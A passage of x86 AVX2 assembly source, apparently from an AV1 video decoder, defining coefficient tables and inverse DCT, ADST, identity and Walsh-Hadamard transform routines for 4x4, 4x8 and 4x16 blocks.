pw_2482_3344: dw 2482, 3344
pw_m3344_3344: dw -3344, 3344
pw_m3803_3344: dw -3803, 3344
pw_m3803_m6688: dw -3803, -6688
pw_2896_m2896: dw 2896, -2896
pw_5: times 2 dw 5
pw_2048: times 2 dw 2048
pw_4096: times 2 dw 4096
pw_8192: times 2 dw 8192
pw_16384: times 2 dw 16384
pw_1697x16: times 2 dw 1697*16
pw_1697x8: times 2 dw 1697*8
pw_2896x8: times 2 dw 2896*8
pd_2048: dd 2048
COEF_PAIR 2896, 2896
COEF_PAIR 1567, 3784
COEF_PAIR 3784, 1567
COEF_PAIR 201, 4091
COEF_PAIR 995, 3973
COEF_PAIR 1751, 3703
COEF_PAIR 2440, 3290
COEF_PAIR 3035, 2751
COEF_PAIR 3513, 2106
COEF_PAIR 3857, 1380
COEF_PAIR 4052, 601
COEF_PAIR 401, 4076
COEF_PAIR 1931, 3612
COEF_PAIR 3166, 2598
COEF_PAIR 3920, 1189
COEF_PAIR 799, 4017
COEF_PAIR 3406, 2276
pw_m799_m4017: dw -799, -4017
pw_m1567_m3784: dw -1567, -3784
pw_m3406_m2276: dw -3406, -2276
pw_m401_m4076: dw -401, -4076
pw_m3166_m2598: dw -3166, -2598
pw_m1931_m3612: dw -1931, -3612
pw_m3920_m1189: dw -3920, -1189
COEF_PAIR 2276, 3406
COEF_PAIR 4017, 799
%macro COEF_X8 1-*
%rep %0
dw %1*8, %1*8
%rotate 1
%endrep
%endmacro
pw_3703x8: COEF_X8 3703
pw_1751x8: COEF_X8 1751
pw_m1380x8: COEF_X8 -1380
pw_3857x8: COEF_X8 3857
pw_3973x8: COEF_X8 3973
pw_995x8: COEF_X8 995
pw_m2106x8: COEF_X8 -2106
pw_3513x8: COEF_X8 3513
pw_3290x8: COEF_X8 3290
pw_2440x8: COEF_X8 2440
pw_m601x8: COEF_X8 -601
pw_4052x8: COEF_X8 4052
idct64_mul: COEF_X8 4095, 101, 4065, 501, 2967, -2824, 3229, -2520
COEF_X8 3745, 1660, 3564, 2019, 3822, -1474, 3948, -1092
COEF_X8 3996, 897, 3889, 1285, 3461, -2191, 3659, -1842
COEF_X8 3349, 2359, 3102, 2675, 4036, -700, 4085, -301
pw_201_4091x8: dw 201*8, 4091*8
pw_m601_4052x8: dw -601*8, 4052*8
pw_995_3973x8: dw 995*8, 3973*8
pw_m1380_3857x8: dw -1380*8, 3857*8
pw_1751_3703x8: dw 1751*8, 3703*8
pw_m2106_3513x8: dw -2106*8, 3513*8
pw_2440_3290x8: dw 2440*8, 3290*8
pw_m2751_3035x8: dw -2751*8, 3035*8
%define o_idct64_offset idct64_mul - (o_base) - 8
SECTION .text
; Code size reduction trickery: Intead of using rip-relative loads with
; mandatory 4-byte offsets everywhere, we can set up a base pointer with a
; single rip-relative lea and then address things relative from that with
; 1-byte offsets as long as data is within +-128 bytes of the base pointer.
%define o_base iadst4_dconly2a + 128
%define o(x) (rax - (o_base) + (x))
%macro REPX 2-*
%xdefine %%f(x) %1
%rep %0 - 1
%rotate 1
%%f(%1)
%endrep
%endmacro
%define m(x) mangle(private_prefix %+ _ %+ x %+ SUFFIX)
; flags: 1 = swap, 2 = interleave, 4: coef_regs
%macro ITX_MUL2X_PACK 6-7 0 ; dst/src, tmp[1-2], rnd, coef[1-2], flags
%if %7 & 4
pmaddwd m%2, m%5, m%1
pmaddwd m%1, m%6
%else
%if %7 & 1
vpbroadcastd m%2, [o(pw_%5_%6)]
vpbroadcastd m%3, [o(pw_m%6_%5)]
%else
vpbroadcastd m%2, [o(pw_m%6_%5)]
vpbroadcastd m%3, [o(pw_%5_%6)]
%endif
pmaddwd m%2, m%1
pmaddwd m%1, m%3
%endif
paddd m%2, m%4
paddd m%1, m%4
%if %7 & 2
pslld m%2, 4
psrld m%1, 12
pblendw m%1, m%2, 0xaa
%else
psrad m%2, 12
psrad m%1, 12
packssdw m%1, m%2
%endif
%endmacro
; flags: 1 = swap, 2 = interleave, 4 = coef_regs
%macro ITX_MUL4X_PACK 9-10 0 ; dst/src, tmp[1-3], rnd, coef[1-4], flags
%if %10 & 1
vpbroadcastd m%3, [o(pw_%8_%9)]
vpbroadcastd m%4, [o(pw_m%9_%8)]
vpbroadcastd xm%2, [o(pw_%6_%7)]
vpblendd m%2, m%2, m%3, 0xf0
vpbroadcastd xm%3, [o(pw_m%7_%6)]
%else
vpbroadcastd m%3, [o(pw_m%9_%8)]
vpbroadcastd m%4, [o(pw_%8_%9)]
vpbroadcastd xm%2, [o(pw_m%7_%6)]
vpblendd m%2, m%2, m%3, 0xf0
vpbroadcastd xm%3, [o(pw_%6_%7)]
%endif
vpblendd m%3, m%3, m%4, 0xf0
ITX_MUL2X_PACK %1, %4, _, %5, %2, %3, (4|%10)
%endmacro
; dst1 = (src1 * coef1 - src2 * coef2 + rnd) >> 12
; dst2 = (src1 * coef2 + src2 * coef1 + rnd) >> 12
%macro ITX_MULSUB_2W 7-8 ; dst/src[1-2], tmp[1-2], rnd, coef[1-2], dst2
punpckhwd m%3, m%2, m%1
punpcklwd m%2, m%1
%if %7 < 32
pmaddwd m%1, m%7, m%2
pmaddwd m%4, m%7, m%3
%else
vpbroadcastd m%1, [o(pw_m%7_%6)]
pmaddwd m%4, m%3, m%1
pmaddwd m%1, m%2
%endif
paddd m%4, m%5
paddd m%1, m%5
psrad m%4, 12
psrad m%1, 12
packssdw m%1, m%4
%if %7 < 32
pmaddwd m%3, m%6
pmaddwd m%2, m%6
%else
vpbroadcastd m%4, [o(pw_%6_%7)]
pmaddwd m%3, m%4
pmaddwd m%2, m%4
%endif
paddd m%3, m%5
paddd m%2, m%5
psrad m%3, 12
psrad m%2, 12
%if %0 == 8
packssdw m%8, m%2, m%3
%else
packssdw m%2, m%3
%endif
%endmacro
%macro IDCT4_1D 7 ; src[1-4], tmp[1-2], pd_2048
ITX_MULSUB_2W %2, %4, %5, %6, %7, 1567, 3784, %5 ; t2, t3
ITX_MULSUB_2W %1, %3, %4, %6, %7, 2896, 2896, %4 ; t1, t0
psubsw m%3, m%1, m%2
paddsw m%2, m%1
paddsw m%1, m%4, m%5
psubsw m%4, m%5
%endmacro
%macro IDCT8_1D 11 ; src[1-8], tmp[1-2], pd_2048
ITX_MULSUB_2W %6, %4, %9, %10, %11, 3406, 2276 ; t5a, t6a
ITX_MULSUB_2W %2, %8, %9, %10, %11, 799, 4017 ; t4a, t7a
ITX_MULSUB_2W %3, %7, %9, %10, %11, 1567, 3784 ; t2, t3
paddsw m%9, m%2, m%6 ; t4
psubsw m%2, m%6 ; t5a
paddsw m%10, m%8, m%4 ; t7
psubsw m%8, m%4 ; t6a
ITX_MULSUB_2W %1, %5, %4, %6, %11, 2896, 2896 ; t1, t0
ITX_MULSUB_2W %8, %2, %4, %6, %11, 2896, 2896 ; t5, t6
psubsw m%6, m%1, m%3 ; dct4 out2
paddsw m%3, m%1 ; dct4 out1
paddsw m%1, m%5, m%7 ; dct4 out0
psubsw m%5, m%7 ; dct4 out3
psubsw m%7, m%3, m%2 ; out6
paddsw m%2, m%3 ; out1
paddsw m%3, m%6, m%8 ; out2
psubsw m%6, m%8 ; out5
psubsw m%8, m%1, m%10 ; out7
paddsw m%1, m%10 ; out0
paddsw m%4, m%5, m%9 ; out3
psubsw m%5, m%9 ; out4
%endmacro
; in1 = %1, in3 = %2, in5 = %3, in7 = %4
; in9 = %5, in11 = %6, in13 = %7, in15 = %8
%macro IDCT16_1D_ODDHALF 11 ; src[1-8], tmp[1-2], pd_2048
ITX_MULSUB_2W %1, %8, %9, %10, %11, 401, 4076 ; t8a, t15a
ITX_MULSUB_2W %5, %4, %9, %10, %11, 3166, 2598 ; t9a, t14a
ITX_MULSUB_2W %3, %6, %9, %10, %11, 1931, 3612 ; t10a, t13a
ITX_MULSUB_2W %7, %2, %9, %10, %11, 3920, 1189 ; t11a, t12a
psubsw m%9, m%2, m%6 ; t13
paddsw m%6, m%2 ; t12
psubsw m%2, m%8, m%4 ; t14
paddsw m%8, m%4 ; t15
psubsw m%4, m%7, m%3 ; t10
paddsw m%3, m%7 ; t11
psubsw m%7, m%1, m%5 ; t9
paddsw m%1, m%5 ; t8
ITX_MULSUB_2W %2, %7, %5, %10, %11, 1567, 3784 ; t9a, t14a
ITX_MULSUB_2W %9, %4, %5, %10, %11, m3784, 1567 ; t10a, t13a
psubsw m%5, m%1, m%3 ; t11a
paddsw m%1, m%3 ; t8a
psubsw m%3, m%7, m%4 ; t13
paddsw m%7, m%4 ; t14
psubsw m%4, m%8, m%6 ; t12a
paddsw m%8, m%6 ; t15a
psubsw m%6, m%2, m%9 ; t10
paddsw m%2, m%9 ; t9
ITX_MULSUB_2W %3, %6, %9, %10, %11, 2896, 2896 ; t10a, t13a
ITX_MULSUB_2W %4, %5, %9, %10, %11, 2896, 2896 ; t11, t12
%endmacro
%macro WRAP_XMM 1+
INIT_XMM cpuname
%1
INIT_YMM cpuname
%endmacro
%macro ITX4_END 4-5 2048 ; row[1-4], rnd
%if %5
vpbroadcastd m2, [o(pw_%5)]
pmulhrsw m0, m2
pmulhrsw m1, m2
%endif
lea r2, [dstq+strideq*2]
%assign %%i 1
%rep 4
%if %1 & 2
CAT_XDEFINE %%row_adr, %%i, r2 + strideq*(%1&1)
%else
CAT_XDEFINE %%row_adr, %%i, dstq + strideq*(%1&1)
%endif
%assign %%i %%i + 1
%rotate 1
%endrep
movd m2, [%%row_adr1]
pinsrd m2, [%%row_adr2], 1
movd m3, [%%row_adr3]
pinsrd m3, [%%row_adr4], 1
pmovzxbw m2, m2
pmovzxbw m3, m3
paddw m0, m2
paddw m1, m3
packuswb m0, m1
movd [%%row_adr1], m0
pextrd [%%row_adr2], m0, 1
pextrd [%%row_adr3], m0, 2
pextrd [%%row_adr4], m0, 3
ret
%endmacro
%macro IWHT4_1D_PACKED 0
punpckhqdq m3, m0, m1 ; in1 in3
punpcklqdq m0, m1 ; in0 in2
psubw m2, m0, m3
paddw m0, m3
punpckhqdq m2, m2 ; t2 t2
punpcklqdq m0, m0 ; t0 t0
psubw m1, m0, m2
psraw m1, 1
psubw m1, m3 ; t1 t3
psubw m0, m1 ; ____ out0
paddw m2, m1 ; out3 ____
%endmacro
INIT_XMM avx2
cglobal inv_txfm_add_wht_wht_4x4, 3, 3, 4, dst, stride, c
mova m0, [cq+16*0]
mova m1, [cq+16*1]
pxor m2, m2
mova [cq+16*0], m2
mova [cq+16*1], m2
psraw m0, 2
psraw m1, 2
IWHT4_1D_PACKED
punpckhwd m0, m1
punpcklwd m3, m1, m2
punpckhdq m1, m0, m3
punpckldq m0, m3
IWHT4_1D_PACKED
vpblendd m0, m0, m2, 0x03
ITX4_END 3, 0, 2, 1, 0
%macro INV_TXFM_FN 4 ; type1, type2, fast_thresh, size
cglobal inv_txfm_add_%1_%2_%4, 4, 5, 0, dst, stride, c, eob, tx2
%undef cmp
%define %%p1 m(i%1_%4_internal)
lea rax, [o_base]
; Jump to the 1st txfm function if we're not taking the fast path, which
; in turn performs an indirect jump to the 2nd txfm function.
lea tx2q, [m(i%2_%4_internal).pass2]
%if %3 > 0
cmp eobd, %3
jg %%p1
%elif %3 == 0
test eobd, eobd
jnz %%p1
%else
; jump to the 1st txfm function unless it's located directly after this
times ((%%end - %%p1) >> 31) & 1 jmp %%p1
ALIGN function_align
%%end:
%endif
%endmacro
%macro INV_TXFM_4X4_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 4x4
%ifidn %1_%2, dct_identity
vpbroadcastd m0, [o(pw_2896x8)]
pmulhrsw m0, [cq]
vpbroadcastd m1, [o(pw_1697x8)]
pmulhrsw m1, m0
paddsw m0, m1
punpcklwd m0, m0
punpckhdq m1, m0, m0
punpckldq m0, m0
jmp m(iadst_4x4_internal).end
%elifidn %1_%2, identity_dct
mova m0, [cq+16*0]
packusdw m0, [cq+16*1]
vpbroadcastd m1, [o(pw_1697x8)]
vpbroadcastd m2, [o(pw_2896x8)]
packusdw m0, m0
pmulhrsw m1, m0
paddsw m0, m1
pmulhrsw m0, m2
mova m1, m0
jmp m(iadst_4x4_internal).end
%elif %3 >= 0
vpbroadcastw m0, [cq]
%ifidn %1, dct
vpbroadcastd m1, [o(pw_2896x8)]
pmulhrsw m0, m1
%elifidn %1, adst
movddup m1, [o(iadst4_dconly1a)]
pmulhrsw m0, m1
%elifidn %1, flipadst
movddup m1, [o(iadst4_dconly1b)]
pmulhrsw m0, m1
%endif
mov [cq], eobd ; 0
%ifidn %2, dct
%ifnidn %1, dct
vpbroadcastd m1, [o(pw_2896x8)]
%endif
pmulhrsw m0, m1
mova m1, m0
jmp m(iadst_4x4_internal).end2
%else ; adst / flipadst
pmulhrsw m1, m0, [o(iadst4_dconly2b)]
pmulhrsw m0, [o(iadst4_dconly2a)]
jmp m(i%2_4x4_internal).end2
%endif
%endif
%endmacro
%macro IDCT4_1D_PACKED 0
vpbroadcastd m4, [o(pd_2048)]
punpckhwd m2, m1, m0
punpcklwd m1, m0
ITX_MUL2X_PACK 2, 0, 3, 4, 1567, 3784
ITX_MUL2X_PACK 1, 0, 3, 4, 2896, 2896
paddsw m0, m1, m2 ; out0 out1
psubsw m1, m2 ; out3 out2
%endmacro
%macro IADST4_1D_PACKED 0
punpcklwd m2, m1, m0
punpckhwd m3, m1, m0
vpbroadcastd m5, [o(pw_m3344_3344)]
vpbroadcastd m0, [o(pw_3803_1321)]
vpbroadcastd m4, [o(pw_m1321_2482)]
pmaddwd m1, m5, m2 ; 3344*in3 - 3344*in2
psrld m5, 16
pmaddwd m0, m2
pmaddwd m2, m4
pmaddwd m5, m3 ; 3344*in0
paddd m1, m5 ; 3344*in0 - 3344*in2 + 3344*in3
vpbroadcastd m4, [o(pw_2482_3344)]
vpbroadcastd m5, [o(pw_m3803_3344)]
pmaddwd m4, m3
pmaddwd m5, m3
paddd m4, m0 ; 1321*in0 + 3344*in1 + 3803*in2 + 2482*in3
vpbroadcastd m0, [o(pw_m3803_m6688)]
pmaddwd m3, m0
vpbroadcastd m0, [o(pd_2048)]
paddd m2, m0
paddd m1, m0
paddd m0, m4
paddd m5, m2 ; 2482*in0 + 3344*in1 - 1321*in2 - 3803*in3
paddd m2, m4
paddd m2, m3
REPX {psrad x, 12}, m1, m2, m0, m5
packssdw m0, m5 ; out0 out1
packssdw m1, m2 ; out2 out3
%endmacro
INV_TXFM_4X4_FN dct, dct, 0
INV_TXFM_4X4_FN dct, adst, 0
INV_TXFM_4X4_FN dct, flipadst, 0
INV_TXFM_4X4_FN dct, identity, 3
cglobal idct_4x4_internal, 0, 5, 6, dst, stride, c, eob, tx2
mova m0, [cq+16*0]
mova m1, [cq+16*1]
IDCT4_1D_PACKED
mova m2, [o(deint_shuf)]
shufps m3, m0, m1, q1331
shufps m0, m0, m1, q0220
pshufb m0, m2
pshufb m1, m3, m2
jmp tx2q
.pass2:
IDCT4_1D_PACKED
pxor m2, m2
mova [cq+16*0], m2
mova [cq+16*1], m2
ITX4_END 0, 1, 3, 2
INV_TXFM_4X4_FN adst, dct, 0
INV_TXFM_4X4_FN adst, adst, 0
INV_TXFM_4X4_FN adst, flipadst, 0
INV_TXFM_4X4_FN adst, identity
cglobal iadst_4x4_internal, 0, 5, 6, dst, stride, c, eob, tx2
mova m0, [cq+16*0]
mova m1, [cq+16*1]
call .main
punpckhwd m3, m0, m1
punpcklwd m0, m1
punpckhwd m1, m0, m3
punpcklwd m0, m3
jmp tx2q
.pass2:
call .main
.end:
pxor m2, m2
mova [cq+16*0], m2
mova [cq+16*1], m2
.end2:
ITX4_END 0, 1, 2, 3
ALIGN function_align
.main:
IADST4_1D_PACKED
ret
INV_TXFM_4X4_FN flipadst, dct, 0
INV_TXFM_4X4_FN flipadst, adst, 0
INV_TXFM_4X4_FN flipadst, flipadst, 0
INV_TXFM_4X4_FN flipadst, identity
cglobal iflipadst_4x4_internal, 0, 5, 6, dst, stride, c, eob, tx2
mova m0, [cq+16*0]
mova m1, [cq+16*1]
call m(iadst_4x4_internal).main
punpcklwd m2, m1, m0
punpckhwd m1, m0
punpcklwd m0, m1, m2
punpckhwd m1, m2
jmp tx2q
.pass2:
call m(iadst_4x4_internal).main
.end:
pxor m2, m2
mova [cq+16*0], m2
mova [cq+16*1], m2
.end2:
ITX4_END 3, 2, 1, 0
INV_TXFM_4X4_FN identity, dct, 3
INV_TXFM_4X4_FN identity, adst
INV_TXFM_4X4_FN identity, flipadst
INV_TXFM_4X4_FN identity, identity
cglobal iidentity_4x4_internal, 0, 5, 6, dst, stride, c, eob, tx2
mova m0, [cq+16*0]
mova m1, [cq+16*1]
vpbroadcastd m3, [o(pw_1697x8)]
pmulhrsw m2, m3, m0
pmulhrsw m3, m1
paddsw m0, m2
paddsw m1, m3
punpckhwd m2, m0, m1
punpcklwd m0, m1
punpckhwd m1, m0, m2
punpcklwd m0, m2
jmp tx2q
.pass2:
vpbroadcastd m3, [o(pw_1697x8)]
pmulhrsw m2, m3, m0
pmulhrsw m3, m1
paddsw m0, m2
paddsw m1, m3
jmp m(iadst_4x4_internal).end
%macro WRITE_4X8 2 ; coefs[1-2]
movd xm4, [dstq+strideq*0]
pinsrd xm4, [dstq+strideq*1], 1
movd xm5, [dstq+strideq*2]
pinsrd xm5, [dstq+r3 ], 1
pinsrd xm4, [r2 +strideq*0], 2
pinsrd xm4, [r2 +strideq*1], 3
pinsrd xm5, [r2 +strideq*2], 2
pinsrd xm5, [r2 +r3 ], 3
pmovzxbw m4, xm4
pmovzxbw m5, xm5
paddw m4, m%1
paddw m5, m%2
packuswb m4, m5
vextracti128 xm5, m4, 1
movd [dstq+strideq*0], xm4
pextrd [dstq+strideq*1], xm4, 1
pextrd [dstq+strideq*2], xm4, 2
pextrd [dstq+r3 ], xm4, 3
movd [r2 +strideq*0], xm5
pextrd [r2 +strideq*1], xm5, 1
pextrd [r2 +strideq*2], xm5, 2
pextrd [r2 +r3 ], xm5, 3
%endmacro
%macro INV_TXFM_4X8_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 4x8
%if %3 >= 0
%ifidn %1_%2, dct_identity
vpbroadcastd xm0, [o(pw_2896x8)]
pmulhrsw xm1, xm0, [cq]
vpbroadcastd xm2, [o(pw_4096)]
pmulhrsw xm1, xm0
pmulhrsw xm1, xm2
vpermq m1, m1, q1100
punpcklwd m1, m1
punpckldq m0, m1, m1
punpckhdq m1, m1
jmp m(iadst_4x8_internal).end3
%elifidn %1_%2, identity_dct
movd xm0, [cq+16*0]
punpcklwd xm0, [cq+16*1]
movd xm1, [cq+16*2]
punpcklwd xm1, [cq+16*3]
vpbroadcastd xm2, [o(pw_2896x8)]
vpbroadcastd xm3, [o(pw_1697x8)]
vpbroadcastd xm4, [o(pw_2048)]
punpckldq xm0, xm1
pmulhrsw xm0, xm2
pmulhrsw xm3, xm0
paddsw xm0, xm3
pmulhrsw xm0, xm2
pmulhrsw xm0, xm4
vpbroadcastq m0, xm0
mova m1, m0
jmp m(iadst_4x8_internal).end3
%elifidn %1_%2, dct_dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_2048)]
mov [cq], eobd
pmulhrsw xm0, xm1
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
mova m1, m0
jmp m(iadst_4x8_internal).end4
%else ; adst_dct / flipadst_dct
vpbroadcastw xm0, [cq]
vpbroadcastd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1
pmulhrsw xm0, [o(iadst4_dconly1a)]
vpbroadcastd xm2, [o(pw_2048)]
mov [cq], eobd
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
%ifidn %1, adst
vpbroadcastq m0, xm0
%else ; flipadst
vpermq m0, m0, q1111
%endif
mova m1, m0
jmp m(iadst_4x8_internal).end4
%endif
%endif
%endmacro
%macro IDCT8_1D_PACKED 0
vpbroadcastd m6, [o(pd_2048)]
punpckhwd m5, m3, m0 ; in7 in1
punpckhwd m4, m1, m2 ; in3 in5
punpcklwd m3, m1 ; in6 in2
punpcklwd m2, m0 ; in4 in0
ITX_MUL2X_PACK 5, 0, 1, 6, 799, 4017, 3 ; t4a t7a
ITX_MUL2X_PACK 4, 0, 1, 6, 3406, 2276, 3 ; t5a t6a
ITX_MUL2X_PACK 3, 0, 1, 6, 1567, 3784 ; t3 t2
psubsw m0, m5, m4 ; t5a t6a (interleaved)
paddsw m4, m5 ; t4 t7 (interleaved)
ITX_MUL2X_PACK 2, 1, 5, 6, 2896, 2896 ; t0 t1
vpbroadcastd m1, [o(pw_m2896_2896)]
ITX_MUL2X_PACK 0, 1, _, 6, 1, 5, 4 ; t6 t5
%if mmsize > 16
vbroadcasti128 m1, [o(deint_shuf)]
pshufb m4, m1
%else
pshufb m4, [o(deint_shuf)]
%endif
psubsw m1, m2, m3 ; tmp3 tmp2
paddsw m3, m2 ; tmp0 tmp1
shufps m2, m4, m0, q1032 ; t7 t6
vpblendd m4, m0, 0xcc ; t4 t5
paddsw m0, m3, m2 ; out0 out1
psubsw m3, m2 ; out7 out6
psubsw m2, m1, m4 ; out4 out5
paddsw m1, m4 ; out3 out2
%endmacro
%macro IADST8_1D_PACKED 1 ; pass
vpbroadcastd m6, [o(pd_2048)]
punpckhwd m0, m4, m3 ; 0 7
punpckhwd m1, m5, m2 ; 2 5
punpcklwd m2, m5 ; 4 3
punpcklwd m3, m4 ; 6 1
%if %1 == 1
ITX_MUL2X_PACK 0, 4, 5, 6, 401, 4076, 3 ; t1a t0a
ITX_MUL2X_PACK 1, 4, 5, 6, 1931, 3612, 2 ; t2a t3a
ITX_MUL2X_PACK 2, 4, 5, 6, 3166, 2598, 3 ; t5a t4a
ITX_MUL2X_PACK 3, 4, 5, 6, 3920, 1189, 2 ; t6a t7a
psubsw m4, m0, m2 ; t5 t4
paddsw m0, m2 ; t1 t0
psubsw m5, m1, m3 ; t6 t7
paddsw m1, m3 ; t2 t3
ITX_MUL2X_PACK 4, 2, 3, 6, 1567, 3784, 3 ; t5a t4a
ITX_MUL2X_PACK 5, 2, 3, 6, 3784, 1567, 2 ; t7a t6a
%if mmsize > 16
vbroadcasti128 m2, [o(deint_shuf)]
%else
mova m2, [o(deint_shuf)]
%endif
pshuflw m1, m1, q2301
pshufhw m1, m1, q2301
psubsw m3, m0, m1 ; t3 t2
paddsw m0, m1 ; -out7 out0
psubsw m1, m4, m5 ; t7 t6
paddsw m4, m5 ; out6 -out1
pshufb m0, m2
pshufb m4, m2
vpbroadcastd m5, [o(pw_m2896_2896)]
pmaddwd m2, m5, m3
pmaddwd m5, m1
paddd m2, m6
paddd m5, m6
psrad m2, 12
psrad m5, 12
packssdw m2, m5 ; out4 -out5
vpbroadcastd m5, [o(pw_2896_2896)]
pmaddwd m3, m5
pmaddwd m1, m5
paddd m3, m6
paddd m1, m6
psrad m3, 12
psrad m1, 12
packssdw m1, m3 ; out2 -out3
punpcklqdq m3, m4, m0 ; out6 -out7
punpckhqdq m0, m4 ; out0 -out1
%else
ITX_MUL2X_PACK 0, 4, 5, 6, 401, 4076 ; t0a t1a
ITX_MUL2X_PACK 1, 4, 5, 6, 1931, 3612 ; t2a t3a
ITX_MUL2X_PACK 2, 4, 5, 6, 3166, 2598 ; t4a t5a
ITX_MUL2X_PACK 3, 4, 5, 6, 3920, 1189 ; t6a t7a
psubsw m4, m0, m2 ; t4 t5
paddsw m0, m2 ; t0 t1
psubsw m5, m1, m3 ; t6 t7
paddsw m1, m3 ; t2 t3
shufps m2, m5, m4, q1032
punpckhwd m4, m2
punpcklwd m5, m2
ITX_MUL2X_PACK 4, 2, 3, 6, 1567, 3784, 1 ; t5a t4a
ITX_MUL2X_PACK 5, 2, 3, 6, 3784, 1567 ; t7a t6a
psubsw m2, m0, m1 ; t2 t3
paddsw m0, m1 ; out0 -out7
psubsw m1, m4, m5 ; t7 t6
paddsw m4, m5 ; out6 -out1
vpbroadcastd m5, [o(pw_2896x8)]
vpblendd m3, m0, m4, 0x33 ; out6 -out7
vpblendd m0, m0, m4, 0xcc ; out0 -out1
shufps m4, m2, m1, q1032 ; t3 t7
vpblendd m1, m2, m1, 0xcc ; t2 t6
psubsw m2, m1, m4 ; t2-t3 t6-t7
paddsw m1, m4 ; t2+t3 t6+t7
pmulhrsw m2, m5 ; out4 -out5
pshufd m1, m1, q1032
pmulhrsw m1, m5 ; out2 -out3
%endif
%endmacro
INIT_YMM avx2
INV_TXFM_4X8_FN dct, dct, 0
INV_TXFM_4X8_FN dct, identity, 7
INV_TXFM_4X8_FN dct, adst
INV_TXFM_4X8_FN dct, flipadst
cglobal idct_4x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q3120
vpermq m1, [cq+32*1], q3120
vpbroadcastd m2, [o(pw_2896x8)]
pmulhrsw m0, m2
pmulhrsw m1, m2
IDCT4_1D_PACKED
vbroadcasti128 m2, [o(deint_shuf)]
shufps m3, m0, m1, q1331
shufps m0, m0, m1, q0220
pshufb m0, m2
pshufb m1, m3, m2
jmp tx2q
.pass2:
vextracti128 xm2, m0, 1
vextracti128 xm3, m1, 1
call .main
vpbroadcastd m4, [o(pw_2048)]
vinserti128 m0, m0, xm2, 1
vinserti128 m1, m1, xm3, 1
pshufd m1, m1, q1032
jmp m(iadst_4x8_internal).end2
ALIGN function_align
.main:
WRAP_XMM IDCT8_1D_PACKED
ret
INV_TXFM_4X8_FN adst, dct, 0
INV_TXFM_4X8_FN adst, adst
INV_TXFM_4X8_FN adst, flipadst
INV_TXFM_4X8_FN adst, identity
cglobal iadst_4x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q3120
vpermq m1, [cq+32*1], q3120
vpbroadcastd m2, [o(pw_2896x8)]
pmulhrsw m0, m2
pmulhrsw m1, m2
call m(iadst_8x4_internal).main
punpckhwd m3, m0, m1
punpcklwd m0, m1
punpckhwd m1, m0, m3
punpcklwd m0, m3
jmp tx2q
.pass2:
vextracti128 xm2, m0, 1
vextracti128 xm3, m1, 1
pshufd xm4, xm0, q1032
pshufd xm5, xm1, q1032
call .main_pass2
vpbroadcastd m4, [o(pw_2048)]
vinserti128 m0, m0, xm2, 1
vinserti128 m1, m1, xm3, 1
pxor m5, m5
psubw m5, m4
.end:
vpblendd m4, m4, m5, 0xcc
.end2:
pmulhrsw m0, m4
pmulhrsw m1, m4
WIN64_RESTORE_XMM
.end3:
pxor m2, m2
mova [cq+32*0], m2
mova [cq+32*1], m2
.end4:
lea r2, [dstq+strideq*4]
lea r3, [strideq*3]
WRITE_4X8 0, 1
RET
ALIGN function_align
.main_pass1:
WRAP_XMM IADST8_1D_PACKED 1
ret
ALIGN function_align
.main_pass2:
WRAP_XMM IADST8_1D_PACKED 2
ret
INV_TXFM_4X8_FN flipadst, dct, 0
INV_TXFM_4X8_FN flipadst, adst
INV_TXFM_4X8_FN flipadst, flipadst
INV_TXFM_4X8_FN flipadst, identity
cglobal iflipadst_4x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q3120
vpermq m1, [cq+32*1], q3120
vpbroadcastd m2, [o(pw_2896x8)]
pmulhrsw m0, m2
pmulhrsw m1, m2
call m(iadst_8x4_internal).main
punpcklwd m3, m1, m0
punpckhwd m1, m0
punpcklwd m0, m1, m3
punpckhwd m1, m3
jmp tx2q
.pass2:
vextracti128 xm2, m0, 1
vextracti128 xm3, m1, 1
pshufd xm4, xm0, q1032
pshufd xm5, xm1, q1032
call m(iadst_4x8_internal).main_pass2
vpbroadcastd m5, [o(pw_2048)]
vinserti128 m3, m3, xm1, 1
vinserti128 m2, m2, xm0, 1
pxor m4, m4
psubw m4, m5
pshufd m0, m3, q1032
pshufd m1, m2, q1032
jmp m(iadst_4x8_internal).end
INV_TXFM_4X8_FN identity, dct, 3
INV_TXFM_4X8_FN identity, adst
INV_TXFM_4X8_FN identity, flipadst
INV_TXFM_4X8_FN identity, identity
cglobal iidentity_4x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m2, [cq+32*0], q3120
vpermq m0, [cq+32*1], q3120
vpbroadcastd m3, [o(pw_2896x8)]
vpbroadcastd m4, [o(pw_1697x8)]
punpcklwd m1, m2, m0
punpckhwd m2, m0
pmulhrsw m1, m3
pmulhrsw m2, m3
punpcklwd m0, m1, m2
punpckhwd m1, m2
pmulhrsw m2, m4, m0
pmulhrsw m4, m1
paddsw m0, m2
paddsw m1, m4
jmp tx2q
.pass2:
vpbroadcastd m4, [o(pw_4096)]
jmp m(iadst_4x8_internal).end2
%macro INV_TXFM_4X16_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 4x16
%if %3 >= 0
%ifidn %1_%2, dct_identity
vpbroadcastd m0, [o(pw_2896x8)]
pmulhrsw m0, [cq]
vpbroadcastd m1, [o(pw_16384)]
vpbroadcastd m2, [o(pw_1697x16)]
vpbroadcastd m3, [o(pw_2048)]
pmulhrsw m0, m1
pmulhrsw m2, m0
paddsw m0, m0
paddsw m0, m2
pmulhrsw m3, m0
punpcklwd m1, m3, m3
punpckhwd m3, m3
punpckldq m0, m1, m1
punpckhdq m1, m1
punpckldq m2, m3, m3
punpckhdq m3, m3
jmp m(iadst_4x16_internal).end3
%elifidn %1_%2, identity_dct
movd xm0, [cq+32*0]
punpcklwd xm0, [cq+32*1]
movd xm1, [cq+32*2]
punpcklwd xm1, [cq+32*3]
vpbroadcastd xm2, [o(pw_1697x8)]
vpbroadcastd xm3, [o(pw_2896x8)]
vpbroadcastd xm4, [o(pw_2048)]
punpckldq xm0, xm1
pcmpeqw xm1, xm1
pmulhrsw xm2, xm0
pcmpeqw xm1, xm0
